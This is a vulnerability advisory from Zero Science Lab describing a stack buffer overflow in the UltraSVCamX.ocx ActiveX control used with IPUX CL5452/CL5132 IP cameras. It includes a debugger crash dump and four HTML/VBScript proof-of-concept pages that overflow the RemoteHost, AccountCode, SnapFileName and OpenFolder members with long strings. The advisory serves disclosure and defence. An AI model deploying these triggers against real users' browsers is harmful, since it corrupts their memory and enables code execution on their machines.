IPUX CL5452/CL5132 IP Camera (UltraSVCamX.ocx) ActiveX Stack Buffer Overflow


Vendor: Big Good Holdings Limited | Fitivision Technology Inc.
Product web page: http://www.ipux.net | http://www.fitivision.com
Affected version: Bullet Type ICL5132 (firmware: ICL5132 2.0.0-2 20130730 r1112)
                  Bullet Type ICL5452

Summary: The device is H.264 Wired/Wireless IP Camera with 1.3 Mega-pixel sensor.
With high performance H.264 video compression, the file size of video stream is
extremely reduced, as to optimize the network bandwidth efficiency. It has full
Pan/Tilt function and 3X digital zoom feature for a larger space monitoring. The
built-in USB port provides a convenient and portable storage option for local storage
of event and schedule recording, especially network disconnected.

Desc: The UltraSVCam ActiveX Control 'UltraSVCamX.ocx' suffers from a stack buffer
overflow vulnerability when parsing large amount of bytes to several functions in
UltraSVCamLib, resulting in memory corruption overwriting several registers including
the SEH. An attacker can gain access to the system of the affected node and execute
arbitrary code.

----------------------------------------------------------------------------------

(3ef0.3e0c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\Downloaded Program Files\UltraSVCamX.ocx - 
eax=41414149 ebx=00000001 ecx=00003e0c edx=02163f74 esi=41414141 edi=02163f74
eip=77e8466c esp=003eef8c ebp=003eefc0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
ntdll!RtlDeleteCriticalSection+0x77:
77e8466c 833800          cmp     dword ptr [eax],0    ds:002b:41414149=????????

----------------------------------------------------------------------------------

Tested on: Microsoft Windows 7 Professional SP1 (EN)


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2014-5213
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5213.php


16.11.2014

---


Properties:
-----------

FileDescription		UltraSVCam ActiveX Control
FileVersion		1, 0, 53, 34 and 1, 0, 53, 33
InternalName		UltraSVCamX
OriginalFileName	UltraSVCamX.ocx
ProductName		UltraSVCam device ActiveX Control
ProductVersion		1, 0, 53, 34 and 1, 0, 53, 33


List of members:
----------------

Interface IUltraSVCamX : IDispatch
Default Interface: True
Members : 51
	RemoteHost
	RemotePort
	AccountCode
	Password
	UserName
	fChgImageSize
	ImgWidth
	ImgHeight
	SnapFileName
	AVIRecStart
	SetImgScale
	OpenFolder
	OpenFileDlg
	TriggerStatus
	AVIRecStatus
	PlayVideo
	SetAutoScale
	SetPTUserAllow
	SetLanguage
	SetFullScreen
	SetZoom
	SetDirectShow
	SetROIParam
	FOpen
	FSeek
	FDeleteFile


Vulnerable members of the class:
--------------------------------

RemoteHost
AccountCode
SnapFileName
OpenFolder


PoC(s):
-------


---1


<html>
<object classid='clsid:33AD836E-B04E-4114-B39F-AB77AAA08487' id='target' />
<script language='vbscript'>
targetFile = "C:\Windows\Downloaded Program Files\UltraSVCamX.ocx"
prototype  = "Property Let RemoteHost As String"
memberName = "RemoteHost"
progid     = "UltraSVCamLib.UltraSVCamX"
argCount   = 1
arg1=String(11284, "A")
target.RemoteHost = arg1
</script>
</html>


---2


<html>
<object classid='clsid:33AD836E-B04E-4114-B39F-AB77AAA08487' id='target' />
<script language='vbscript'>
targetFile = "C:\Windows\Downloaded Program Files\UltraSVCamX.ocx"
prototype  = "Property Let AccountCode As String"
memberName = "AccountCode"
progid     = "UltraSVCamLib.UltraSVCamX"
argCount   = 1
arg1=String(1044, "A")
target.AccountCode = arg1
</script>
</html>


---3


<html>
<object classid='clsid:33AD836E-B04E-4114-B39F-AB77AAA08487' id='target' />
<script language='vbscript'>
targetFile = "C:\Windows\Downloaded Program Files\UltraSVCamX.ocx"
prototype  = "Property Let SnapFileName As String"
memberName = "SnapFileName"
progid     = "UltraSVCamLib.UltraSVCamX"
argCount   = 1
arg1=String(11284, "A")
target.SnapFileName = arg1
</script>
</html>


---4


<html>
<object classid='clsid:33AD836E-B04E-4114-B39F-AB77AAA08487' id='target' />
<script language='vbscript'>
targetFile = "C:\Windows\Downloaded Program Files\UltraSVCamX.ocx"
prototype  = "Function OpenFolder ( ByVal sInitPath As String ) As String"
memberName = "OpenFolder"
progid     = "UltraSVCamLib.UltraSVCamX"
argCount   = 1
arg1=String(2068, "A")
target.OpenFolder arg1 
</script>
</html>
